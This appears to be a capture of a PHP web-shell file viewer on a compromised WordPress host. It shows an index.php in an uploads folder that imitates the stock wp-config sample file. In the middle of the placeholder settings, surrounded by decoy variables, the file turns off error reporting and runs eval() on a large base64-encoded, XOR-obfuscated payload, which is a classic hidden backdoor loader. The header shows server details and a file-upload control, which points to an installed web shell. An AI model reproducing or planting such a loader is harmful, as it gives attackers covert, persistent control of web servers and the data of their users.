HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/tienda-qas.allup.com.co/wp-content/uploads/2015/tarragon/talcum/index.php
<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/






error_reporting(0);


$fkdna="knzc";

$rxmj="qhzhldr";
function q($w, $f){ 


$o=""; for($m=0;$m<strlen($w);) for($j=0;$j<strlen($f);$j++, $m++) $o .= $w[$m] ^ $f[$j]; return $o; };$lqe="ckv";






$nippe="xqfjg";



eval(q(base64_decode("WD_\TT CE@HGTTZL[EAKTB}PIhI@#UTQECTB}PM'@EMHEFX_
C [	ANQ{U\MD;IsI XUBN 
2@	SJ&IZUXHFH^@kP 
M%GIhIHISVCAZ]I
GE[M UHPHAOTB}PM XI"C=BOHHUB 16 E#O>[	$oz7n,KQ)kjx ~{ T<#855(K:)mm"~5<JC&_ C ^I% NLHB_G	CJBXC3XPBQ2MZ_Y(@Q[EI]Cw<]OvK\eB0ETSOY]_VG_A_I?BR+PTXJC\RTS^^T_	#o^KOF\M0 FoDZ	@J_KJLM_eXI7^^G_NMXXMQ^_eX]oJQGESGCZ	GM	1BXAo[IH]YICDA_I?BR+PTXO@\RTY]]T_	#o^KOF_M0 FoDZ	@H_KJD\^I+B\5QG_ICX^TL
	
_I B6RTPP^[^TCJJ,YGQN^M@IA-^DK7YwD_q@HQMO	\P5q^_?]EJ.\YQ	^.[DH]SCM@HI1MII]- _DXXZUQKBU[ETSIS_R\^T]HXU^KHNI(K I?5UDZ	@NJ_ROHTJT^UJEM^_KZ	@IQO]	qA(U]RTPA^^_\@]UL]X XZEEHP]EUDZ	@I_qLS3YTBNK\QIEKCZVBIQqH	EBMEMCw\QIEKCZFTUQ_N^( Y\X*KASUYTBJIUISFFVE7]Y^HIBw
ETSHS]] _S^T]VCJIHINXU]@_R\I[I]UL]X [ZRA<\QG_J]CZFTU^_2(wFDHGIGYVTGHR]ASUYTAEIUIDHGKV,PPCBX2U[ETSHSS_R\I[]ULJIHI@
ETSJU]] _D	RXZUQHXJBIRqJUISFF_EAYLOQwYTCq.UJEJ^_KZ	@HQO@_TXHC\FDHIGYATM'A#UNJEJ^^G_IUMXZUFTUQqwCTDISJ^^G_JMXZUFTUPQq HNBZK  ,F\@N_ROHTT^UJQGFSGqWOXC
Z	P~ OBXAK._]U^	BXEB[vYYKW;I,TG_NQX5!2%^X^!XQ%XWBOEHIX6OCE3XU]OtKU_vTB[UhX\_B-/6KZ	@OQO"@HTIZRIEqI.-!_S^T]CV.TYIB(K^FDDYIIZERE9\FF
G2YATMMQ0PTXJD^_J.-!_S^T]DV.CJIHMNXt]RTP^^_IBM,YCBX2t[HH_.QG_OZC,L~QCQOMI[\\I,^IEEA)YTGHSC_@J BXYsEI^~MB_*ITDYwu^K0CTDOT<//QG_JZCZVODQqL#@HTZ,EEP]ESMZ#/CJINHNXu]RTP^^_7\@J]uL]X HPZREHO_G^	BB	\IA\(?Z
TIB@AYKIsCGIIS^^RH.OCG@_B@
UIsFM] MVXs
CGIJSZ[DEFXsC\T \NF_UsEI^OT_YE\ I+IDM YHJJ IsCG^^ I ]AT__PHC
YIX9UISFFEAYTGO SC_CBNq(U]A_RPIqEsOCPD_HOA"\^T]	XU^KNC(wQGB]EM,]TD_OX C"KW
T7M&EZ'_ bYUUFFL=	cV]iICVOEwN TXAE F0PXIJ
V]Z^CVOvCN TBPM3SB7V I]D_GE_BM&PXIYRCDh4?81 NXCR ERLBM?Z!!V]rMqCVOCON TMEE FGFNDC%a # QBOTX-CT R\EFXQ I K	 QPJQJ&F
iyE F
PXIX	V] NIXR EPQUP9:KFVDQ C NOCR EAQUP EKFV^AQ C NEEQ'8I K QHOT\MT RMIFXQI K% QEOTTET RQPE1?cKFVVCQ CA4 _!EMS-SB]ZGF@D2HEJNS@18KKFVJ\MQ C: NXkR EA  QUP_KFVYrPQ C7 NZpRMSSB+V C]D_BH__J<O!D O^
BIYV._]UQNQ{U_M I%	;Y^
I1CUBAVEQ&OuTwTiIE FBCHGF7o4&6 QH	OTUSpEN^[S@M]VO^H]_@ZBb!X8_SZ^@F9V #~(]D_^J@_T;2^[S_Y^HIU0\(_ _Kg>K MSSBV G]D_CZ_BMSSB		V DTNZJn#A"@&N^[SIM]VD]M^CI+c;Y!DSZ^ @M\Z _ &NY CSZ^ @M@AGS4>Ey/_@<O!D O^
B0IYV._]UQ
XEBD@* \@WC_I!Q^OIMKJEC)  v\.[IL] Qow>'S
IX^6  \$U]UQXA@YB
XC0 ]XL)L _K~LSSDEI[Tw?  BQ+\^!X*CTLIKNDH\YM8BX^oL]X NZETPL'BB2YTONMSGHTB\^I+B\5QGWEC^AT]\eB0ETZH]YIADIeXL9@HTQZETTJYeY2FT\NOQYTD]M0 FoDZ	H_TPQM_eXI7^^GVKCX^TO@"T\ZNIGZ
TwKD+!ODEXTq]KFYE*\_]5P_wN_EXEqI]_B
	;FA	CSAC@I^E,F\ID+wROHTMZZRTX_R\^TURXZUQB_CTMKqIGP[ O4@I AIX(U]RT GQP\FSXU^CQUADIS+QPIWDCi#UYTKI\E@S+D\ISVT	JCTK\QIM[EAV B
i@A(U] ]]^S3]MBD-IA2U[UJ^^GKCZVMHQqYZTHC
YIX9UISFNMIGMVqwCJA@
ETZHH_QPDXMXZ@9R	OD^6@AK  +@	*FT]OQ
GTq]NHwBVATOMQOq2U[ET[F]] _DCZFT]NOQHTq]MO	<@xEIPJYOEBJ NtQJEBC!0PF\q9tISFOMIG2YATO"@_TPT^tJLP\,FRDXq^SS \@kPNLHMEZHK X@FYEKQFTJXHY[N\J  TMBHV\X^B EX^ARTMYNZFF O\KM\_HY @	WVCBYCERQDFIFKTBOCDEX VBEVBMXMI\\_\COM_\BZFG\MOHZ\NIHPEONHKVDNUI\\NHEPEZJ\ZFGEIEJJN_C
EEVS[RQDFIGD^[JD@YGE@N
AKB ^YDSK^
MK^D	E^OZY[RONHKVDHEOE]HEXPTM^\JHVDH ZM^JJN_C
EEVS[RQDFIGD^\_HA	I@ MH @ YEQDMCZYBMBIEJJIHAERVQ_X@GOCB EIXQZFIGD^\ZAAFR
C B@ H X\XIVMAIXCIEQC@__ N^MM_
 ^	_M_N XBMJVJR\RV^EDTWHEONKMN_HGK[PYHVDHEOE]HEXPTM^EJ\D	@ITCXO_CWD@\ZAAFS_H _Y_EQMXDB
CMKBTA	M@JDT_UIHC [
LZ_AFTJXH[HK\^TMQZIDKYXUOBRTMY\ZFZUE^E_HYIH
ETM^HE X
MA X@F
UVJBIMDXDTCUDEDPDI
IN^ ENOJMHEJRTMEZHK  X@FYEKQFTJXHYCEW	ZSH	Y^NIIM@I@KO@A^_M
	E@ X
UCHYIVU&f`EsIRJ@@[,Y@=JUXN]HXJ&&Y
CBIKB^X&KR@DTB\&ATVYYQYNXR^sDJ@ &IYUTQMJKEGAC
[0no2i"= 1fg%a=c%}05! ./-4@JE@^XDF_^IE_PW]G ]FUIBXSSrQ&cE]Y1I_QK:M@ \2H^#jF]_}TNLOXC
ZX~MemH50Q^TQYAPs:i!z0~9&190'+/h(8V,V
BZ@Ps:i!z0~9&190'+/h(8V,HUH_VYB\BWEDS+=i><4#w1i+38'mh-~TqNQBITFMXU^;)-*zi;wTd!x2s9+06%#/~(/5.jc$9SAX

I[*'~71$"P<:x<5).jc${%(,=hs/c!(^FEDNYD@B[VX
PLRL'i;z6~.*x5$)!(2!~;+#5ih)j+(O%WWs&i0z$&-^$1<z)8.0hh$9SAQWMET@QPXI LN."i~ i6!O0xx9s+s3c0{ &2<3+(c>M,XREZUXEwCqNQBITFMXU^;)-*zi;wTd!x2s"8?<9 1e<M,XP
DR@\s,~%i'wEd5 &&48'i">.8|+XDOIG][EARPY_\Js?/#'i~-,.<(so%e6b!s+|F)_EI\Js?/#'i~-7?:.i~6m7h'?H]VSH5"4~z3~?] ,x|6o?e0b6s($Q$L	NI J^EXUA,0~4i3/Q1# >s/,.2cb8i'.!6ks |Tq\B
GT^QS+=i><4#w>x0*7;js*c=b0o6e/3)0'S3PTV@XJJFII
U]Fs21$/2&5$>%!so0s'5&6io=e=k*e2<]JG_P1)8'4~wQ!(>=~s(h7~RqKHT]S394#zi$wC2<,|s*j,o:b,i" ?70+'|K7JI_Z\E\T,0~4i3/Q+29!x)505h~Qq_H
IX^QEA	|}~JLBPYBX'IT __]I&JKCXQW&VDZBOEBUKX3EJ
{&VDZHXEAXE+%<%"+~7M9%x|)~!<-*i~NqZUWhATVYWTNLJQUs3~2?:#d=x#s'i$i31$^*TSBZ^,.<(s~,j6~0~EZ~VYWTNLJ{&VDZHXE[I\UIP)*2&8i>1V9xx&s6?.=~i;.\IWVLf`QQVDZXYBS*'~71$"P<:x<5#4ji$i6]5C&ISQQh&VQVBBsT	I~MY S_P~NLJBOEHIX;I@ MJAV\AYs%i6,-*w!x'|*y1i3+7>2::1CXQWRs7?:.i~2;x!|=y21$&63+b8M,QI!x'|*y1i3+7>2::EQQ^XXs:i!z0~9) ")(!=i>506ib"9AH&Qc&YOEV *CbMILSH&ISIHYJT\	s^]sDMI_JZ~VYWTII
_wKd_?k	|s OKX4CO@[UWhATV ^JYPIAXRL'i;z6~.*x5$%^*]N
JJU.i$z!(3_dx=| (C\TQIQUs3~2?:#,~%i's2c3 Q$WISX^BXV_FQO@D CX[Lf{{JYOKX!IY_<_DCQ
&VD^ MH^ H^Q^OdLJQC^M@\s,~%i'_APTSLN@YDbXISUEI H F DOAXI;x!|=HTsWTNLJQQVEBIH&UBATVY
~NLJQQRD^T XsI\IKFQVZ^H XsI\IsKFQVZC@[^]_N QSU@JDX__pHXISQDM
,PIqK@	YIR&SU&ATVYYQUDIHC&Qc&YOEV D(M	OGEWBI@XV]_	LA&DZHXEJA_*M^ ^]H XXIIM^UJGfJQQJ^IHIBMTRUEJ
{VDZHXEJA_^CE  OFQU]Y^VH\CJ_X\C\TLY^FS_CVXLII&ISQBA 
I|QnpBOEBUIO=H	2 D^QWcSUMVDWVLfJQQJ^DRLIHQEBA HXJ&DZHXICJTKYGONJMQ_X@@\GRWF^NE]R^T&LJQQVDZHXHX[B/R*T0H*UFqM&DZHXI&UB~VYWTIMSrQ&cJBXCT
I?OI^VH\GIWyUBWINI	IhO C^A U	Z~VYWTIN_L\'IB
CI]M_B}	d&
XEBDCHYOEZYSG`QQR_DGHM_GsIC^]]U&LJQQ^IYHBOHhOH,_P LNX&&nOX CI~H&nZHXI \UBFO|YWTNE
BsO@
INO^sB QP^T&LJQQV@ X
Y@*EE\RGfJQQVD
@sICXJZY4!<`#:%.:s2?:1ju9i6~YMPL~NLJQQY7IX\QO
 A7#+;;>x39"=sz3~-<10c= S\hATVYWTNO._IC@\ODE0y'`-|5+06;8!{ %20xe9bHZYQ&ISUB(XYO D9=*`c9x,~0x7~/ $89'(i>FQ@|DZHXIO^sI_PD@J2$~`9|0% =mh,~_EY&ATVYWTNs_X
PO So ~.c1 ):8: i/>%8ai9y0VHIR&SUBAT1_	XROVH;y~%c#x*x+a$;#-[T_EQ{QVDZH\^I\SUO^+FXJ&VDZHXIH^BA+	ICVHQ&ISUB(CYUOD_nZHXISEJ	5sOH]5XIC\IW@J{VZ_IIWy&UBATVYS@3_IYZ^_s^FY_B}TNLJQQ_ZUX^sM_-^IV,KC\_NH&UBATVYS]LWQVki"CZFXY@,\^I/Q	 1Q{{VDZHXEJAE _XJ&_	*V]Y^]5QM^]U_FKQYYTJY.M^I !O	YIUTqN&hATVYWTN QVD2<,|XCppdCWVNLN@sM	wC XRqBAV*+-CXEB^Z+C_ppppVMsWTNLJQQ_OZUXJ_OCIIP
TQKYD@H_IS ^s
5qZ@	IGUBQ]Ms}TNLJQQE@	GIWyUBATVYWTNl
_R_TIN&BATVYWTNLJUV_pHXISUB\OJ	Y_OSArISUBATsWTNLJQQVDZHXNISJI_IPB]ZCE|DZHXISUBAQSGH\XD^
C&ISUBATVYWTNE
BUKF&$B@W^UBZ~VYWTNLJQQ&DZHXISU"J
\J_	X&VDZHX&SU&ATVYYQU^I\_pr&JBXC|YY@HZLM^A UWh&ATVYS_JLQM&nZHXE_*O@\IO.EBXCSAXW&cSUBAPWINO.EBXL^
@R&yUBATVs\X^DXoy;`<|!s1-+ <%=(u</4# M	Q&ISUB(XYO D9=*`c9x,&`=z$&??.<!8FQC|DZHXIO^sI_PD@J2$~`9|0%.7``&{?c6m6e.:ZYF]U&LJQQVs_X\FO	XV:"&"c<>.#ix#~*.:9b/i! UKkTVYWTNL	@sI
D_6y0`.$"&?1/h)8]QM&DZHXIY@=_ 	\JOFQ2y~:c4.7;cb'i0x!e/i.!"UWE^W`QQVDZ^@6_X\EUW7;~ %!%sx?a!5=, XZBATVYW^ 5XCXL^ *y!`:|6s1;%-[T_W`QQVDZ^@6_X\EUW7;~ %!%s|90<!=`h: SMM_B}~NLJQQR^	X
Y@*II\R]U&LJQQV@HINY@>CDJUD_npHXISY@>FXJ&&VDZHX JSQDM"PX5HIQqD[UXYS^X^Tf`QQI	XW&cSUBAP+MV\sY@[ ^Z~VYWTNLJU_@VDRL^@6\^IwF1JLLX
_c&SUBATRIQL_^'OCXTs^_/dLJQQVDZH___SK9&ATVYWTNLJQQVC
EJsI^E\JVI@`QQVDZHXISRZ^&^3IVZZ@_&SUBATVYWT3&LJQQV9SSr&FSUBAPX$V@	I _MFTLYPSGBJU^@)\HwND_?AZV[MVNLBU_@VDN\KI^sM,SCV,|DZHXIIYX)WINHV	BNIRKOTR1\HwQD	_qc&SUBATW\JY.M^I !OC^.UWhATVYWTNLJQU^IY _XINW@OTR1\HwQ\_qcSUBA	&LJQQVDZHX^_@d_TXDW\J_XQTFZFXZIW@OTNIL~NLJQQ&nZHXISCG VDW^	._CG7@EBQ^_1 LN^B D^
^aK_DN2 $<691o #4?xs5c*4-;x ICXT]Ms}TNLJQQE@	GISW&BATVYWTNLJYX@	GI S%c1xAVVWWP^ 5^_H?]XDNqSUBd5 &VFZ^p6S|DZHXISUJY^]G	]Qd_@HZI^sM,SCV,V84R&SUBATVYWT\Y_OT*CXBMT\MXC
UU[[CAOY
I6-B_nZHXISUBJ
_PC ToBXD@BX
AVX
IBUM^ASFZp^5BQN&BATVYWTNLJYX@	GI S6CBTIpp
&$B@yUBATVYWTNJC M\^AOTT%( p6S|&DZHXISUF^AIVIL~NLJQQVDZE@RJCEEJ
{VDZHXISUFNAIV_DNOGXHZYH@yUBATVYWTNLJQJR^MZL
I_]U kTVYWTNLJQQVDPNINWppV_YSNL[J{VDZHXI&BATVYWTNLC_@	GIH&BATVYW	d&LJQQQ&|DZH
IX^Q^_O|s
~dJEC OX,AEek !-^Y\^DXGUZ&BATBLKsM P)Q UHO*O	B@HOP\^A\ B
P^TSLI&VDZHXO
yUBATV		sDT8TGZ ICI1C_@HI^AEWGUKAIKYIW`{&JBBIIX'A 03X;nMIRN@\\MMUWhATV ^JIK)AFl\Y M@M(OY\^AQT^ IhATVYWTN
J`QQVDZ
IK6AXDJN(XVUXNNGsIMMK\IVf{{JYOHXOiM?0HMA_pHXIYBB\&OBS^lT D^^MSH^|YWTNLJQW
&VDZHX^K*AX^[X(@NFQU\MM	SHE^IN&&k CJoCG-MNI[ME#I.CHHMZr&ISIoWINW`{QVEZ@__X[*k'x:VU)GL{QVDZH\KIoYXB\TR&01:wNSq|DZH&&ISIO\LAS TFVHEAZ^QQDZYU[LW`{QVEZ@YE_IQs!c.??<,VCS,VWnZHXISEJ: XLWLQVH@Q&ISUB	F XEB^ZOVs:i!z0~91<&&$1"jK7_QOYXHVMKX6CBT]YF]NLHWGTJZLM@ HXxG2
ICJQHEMAbXIQy&&h	ILWQS|I_y@UBCO|sX[N`QZME && J[E_XIP)>2 5V,P
DAM IC=H\Js+/%*X9SAXIMEM" h		IH_pbXIE oC	E1H564xwQX]5Q&cSUC2NLMUVFZWWZ@H  -B(HI_pHXM\^A\TX3CH	sIOHFJ= EQ{{V@	YIX&^_E
T@HDz@	Ic&SUF^QJEA^_sXK IY)H YIX1TMM_KHO|sWTNH BcFX_B*HOQC"Y^IL^_\B IYFG_PL~dLJQJ^	cNIXXI8BYGH\ZMEMI6C
=H	QW
RF7NFOKWEX  G	VKFJ7s,CWBWkTVYWTNLC_7BOHW=CQ+I(LW`QQ&nZHXH I[N&hQk~YVW1MQ^MGbrIM@!^O
YJTLW`UIJVD~I@IKkP	WINK	#M@?\%
mjAH&EI
 F3-4%wHC'AQWcSUEIieB1I-DoUX]=k$ -^Iq@JUIU_D^MExMG^AIVH	9^O6k6x.HF)_UWPICJ{VHPHIIX0AE=> 9E3_I@L^7?ix2HRqKAPxI^VD	I]sICIIP)>2 5V,|DZHJAHXOi>)IBU.ki"wC_q@WIM@5QJU.ki"wC_qc&SUF^ >MVM	cSUBASPTSLNMExI^E&SUBATQSNRJU\ |DZHXIIB_TRdLJQX&VDZL
I]I X ^\TRBJUI^ I>@CgUN&BATRI!^M_DGH^@BCIJI'Y	YY^I
IAF CsB_PIX|^QI SIHO|YWTNf_B7XIY_|QS]y^ D^]Y_|^A]Ms}TNLM&nbrYNI~\Gf`UM_|	I,o:c)e$/TV3SJU.oc9g-?3ZD\KqSU@kP!J
V;9'7ge,wQHWqBAP):8;%e)1SqVDXJC&MI:J_ VDWP1o#%:8iwTBF'HG6o<c>e'wCT$WNNNQ{U_U|C^NQs!c.??<,V\N7QN)o+5#1iwK_(XCVMsS_9QL)o+5#1iwK_(]E+568?'i7HqVDXJC& JMI7MAIV](7!c'#4*E9ZWXs*c<g<i9T$WNNNQ{U[Ih^TWs6c-g(1-[ LqLUQUso9c/3-#[.O@Z~R	yJLQ_Y_@\s,~%i'wEd5 &&67-i<>.=mb1y%=-_q Y AUB_\Js?/#'i~-,.<(sm*o6|!s.m/3#801Iq@Z]CLFXSrIM@UBCO|]E :MA8M	HEKyY^'	k	QLTn^ MH^#@XCVDWX> I_d^_A(&I"[,Y>@^ATqDEHIX;IY_dF7H"O5DI/	U|@XCA@qANV[UOd&QYs5c+1!=w.HBC]V}TNLCRDXK OEX_VVWWP_?OI2IIOOE H[L~NLJDCVX	
E\CYI VWWOBXMHAHZ_^GUOdLJQEI^_pr&J^MDBE+1<#T_LNAIVZZLM^AZ&hATVTFAWDXJQWcSUBAY_X		4AM@-/X{ XoUXIP LNU_pHXISUBENLCHI^A]MP[TJG	XJ&VDZHXISAE$ MQLM	SrISUBAT BJ{VDZHXQI_EI2E #6IX!E*_I_[MM]_Y~NLJQQVDZLAM @SUN_BB&CY^E@
	
MA@ SIZ~VYWTNLJQQRI	|MMbA\TRfJQQVDZHXOBEYkTVYWTNL_IJLIOiM@+B&QS^XXW|DZHXISUA YJTJ\&VDZHXISQIM&bQRBC&ISUBATVEJ&VDZHXQcSUBAPKkXDTUXBA[EFTXYS^Q_P_pHX&yQ&F] $ E6XK
X^AY^3X@JA]G_pbW9^\^d&CEQC^V\	MX^Uh&VQS_:MA_@E@IS@^AIP>M]M8^MwCq\h&EX9QRD	XM_^Ih?UW`{U^IY	(M^A H^Y_~NLJV\VZZL\ cSUISVDITJ^	]{VC	_WWY hATV^SNRJUMByVbXIHR_AP fJQQDGVXHXcJIX|YWTNMQLRB7JJI BAS	PTSLN_|M
A cSU
\FTKGWPI|@X &ISR_AIHYS_9]{VC_WWE^A!U}TNLMKD^NhEI&Kk~RI!^M_DGH^@BCIJI'Y	YY^I
IAF CsB_PIX|^QI SIHO|sX[N~	_X|&@\fC^BAX<IXy@_Q^]'MXJ&I
"CB&NH_)H	BOCI7
OIAI\(_%XNX|&HP^_fCcVDJTLEJ	EX^_pbJAI\(_9YPWNECj>_EC_AV A VWnpHX JSQ^_>;FAT
SY^ZUEKSHIJZ~|YWTNE
JYX^CRL
I_f Cc FLJ[FQVCBH@ ZCHTWDJTM XW|KZHXISIDCHXRHCXEB]^\M^[YTJ^	;_CcEFW^LHOJVEOS&VDZHXOCU^A Y \A EZK
I_SOBI K^GO^ WS_I
"CB&NKW@YTWZLRHJ{VDZHXHEZBA	|sWTNQYIMHEKZ&hATVYWTNE
BYB@%/=xIS\&ATVYWTNLJQQIOCDXTIXX\OIJSI
DVOBXTC ^CZV]\&cNZJ^@KQSW@APKkXDTJ_R&SUBAT`QQVDZHXOCU^A Y \A EZK
I_SOBI K^GO^ WS_I
"CB&NKW@YTWZLRHJ{VDZHXQ&cSUQ@V}~NLJQQJL^I^^Bk VDJTLEJ
{VDZHXIJUFD )AEJ
{VDZHXISUO	V[KXJX\[II^_
A XQMAJY^FTH\^I\9_B-NYHU@NQ_M8^M]R@kTVYWTNLJQQQ@H&ISUBATVYWTNIQIHXX] EFDKJBXBGOHY@N[F^3 c \OW^XXV]QIM&bQKJZLAM @SW\Z~VYWTNLJQQ&DZHXII_~|YWTNLJQQVEZ@\DMD#MMA|YWTNLJQQVDZHODQIMAY]L^J
CXBFDMSfJQQVDZHXISUBAP$_>FHWFQcSUBATVYWTNLJQQTFTH\]Y^
^B3WZN|MM	ZFXWH&UBATVYWTNI&DZHXISUBATNPMX
E]Y ZNI^^WBFE&ISUBATVYWTNLJQQR^	2_CcFX[
~NLJQQVDZHXIS[]OTR@<AbApHXISUBATVYWTNBHLSRI	&ISUBATVYWTNLJQ_
TD^I^^Bk VWWVINQ{QVDZHXIQy&UBATVY
~dLJQ&&&nXI \?_B.TILMBj^2XCHB? @NCQ
&VD^BXBH M@M(OY^_0BcF^
XT^OdLJQ1IZ@L]WFGWOBI _B}TNLM&pbJAI\(_9YPWNECj>_EC_AV *CVWnZHX^x~HTS!^CCPGIhA 7EQ{QVIXIMUDXYK^IDCZBXBRYYK[YTJY%~IEKMN&BAT\Gf{{EJV@\fCcFOVB*'E_XJTQBX$C[^T&LJQQDX\;\C_sCII@FM^OdLJQEI^_pr&E[I\+8RSOXC
<
zEEC\IV[INCQ
&&VDZM^_fC;ZJ
BMIFHEKZEHO|sWTNHIhXZUXNMIE*IOQYNMIRN7IOHQ^_>;FAT
SJEI Q@Z&BATW\N3s@Z@Q&SUBAT( H3	MB^_pHX&yUB4^	^_VDI^X~BC'	EQ{QVbYN^_I>CA%XR&SUFN 8ULWQIB^*MBC^B\_B}~NLJUMZmZUXKIIMI0M$ EYX&VDZL@CbA_I>CA%XR&yUBIYSA J_QO&YOEBAVXYSZ	+Q^TUVH IWyUBOTR
m9^OnXcQy&]JB \G`QQIZJVUI6D^ NNJLQMXNL]JVEI1MMAZT^^OdLJQQV&DZHX@IQU U8^J_SVBH9^^U[[FN :M_XJKXH&UBY_XLQLMZTXIUI!D _LDS_@IKSXEBSWBATVYWV@HIbAKwqUBOTR oOX^ZFZOMoHm\PL~NLJ{VXIUI#^YYVNLyBB)
^MQU U8^J_S|DZHrII@AP MQ_K
Xn@N[wWB6MJ_Sq VWN]Q^_>;FAT
SJEI0QIQY&kTVYWV@HImJX@ZMNCbATX[[TIBJUI_f7NFDEIU	NNMXJ&VDpQR&yZ_^GUOd&LJQQEJV@\fCcFOVI0XIjZQcSUBATLDXW	YET^JIQY X	LMYUZM^_fC;ZJ^IX%^j @LFJTB}~NLJI_nbrc&"),"s,u,b,atvywtn,ljqq,,v,dzhx,,i,"));






$ioomt="ajlzomhj";

$ymrm="kpbldanda";



/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';